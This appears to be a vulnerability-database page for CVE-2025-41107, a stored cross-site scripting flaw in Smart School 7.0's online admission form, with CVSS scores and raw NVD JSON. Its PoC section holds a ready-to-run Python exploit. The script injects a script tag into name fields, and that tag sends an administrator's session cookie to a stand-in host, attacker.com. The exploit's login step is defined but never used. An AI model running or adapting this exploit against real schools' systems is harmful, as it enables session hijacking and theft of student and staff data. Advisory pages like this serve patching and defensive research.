Security Vulnerability Report
中文
CVE-2025-41107 CVSS 5.4 MEDIUM

CVE-2025-41107

Published: 2025-11-10 09:15:42
Last Modified: 2025-11-14 17:59:11

Description

Stored Cross Site Scripting (XSS) vulnerability in Smart School 7.0 due to lack of proper validation of user input when sending a POST request to '/online_admission', wich affects the parameters 'firstname', 'lastname', 'guardian_name' and others. This vulnerability could allow a remote user to send a specially crafted query to an authenticated user and steal his/her session cookie details.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:qdocs:smart_school:7.0.0:*:*:*:*:*:*:* - VULNERABLE
Smart School 7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-41107 PoC - Smart School 7.0 Stored XSS # Target: /online_admission endpoint # Parameters: firstname, lastname, guardian_name TARGET_URL = "http://target-server/online_admission" USERNAME = "[email protected]" PASSWORD = "password123" def exploit(): """ Exploit Stored XSS in Smart School 7.0 online_admission module Payload injects JavaScript to steal session cookies """ # Login to get authenticated session session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } # Create malicious XSS payload # This payload steals document.cookie and sends to attacker server xss_payload = '''<script>fetch('https://attacker.com/log?c='+btoa(document.cookie))</script>''' # Submit admission form with XSS payload exploit_data = { 'firstname': xss_payload, 'lastname': xss_payload, 'guardian_name': xss_payload, 'email': '[email protected]', 'phone': '1234567890' } try: # Send POST request with XSS payload response = session.post(TARGET_URL, data=exploit_data, timeout=10) if response.status_code == 200: print("[+] XSS payload submitted successfully!") print("[+] Payload stored in database") print("[+] When admin views admission data, cookie will be stolen") else: print("[-] Failed to submit payload") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-41107 Smart School 7.0 Stored XSS Exploit") exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41107", "sourceIdentifier": "[email protected]", "published": "2025-11-10T09:15:42.270", "lastModified": "2025-11-14T17:59:11.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross Site Scripting (XSS) vulnerability in Smart School 7.0 due to lack of proper validation of user input when sending a POST request to '/online_admission', wich affects the parameters 'firstname', 'lastname', 'guardian_name' and others. This vulnerability could allow a remote user to send a specially crafted query to an authenticated user and steal his/her session cookie details."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qdocs:smart_school:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "E5B45ABC-97CB-47F8-AA78-6585E192BB29"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/stored-cross-site-scripting-xss-smart-school", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}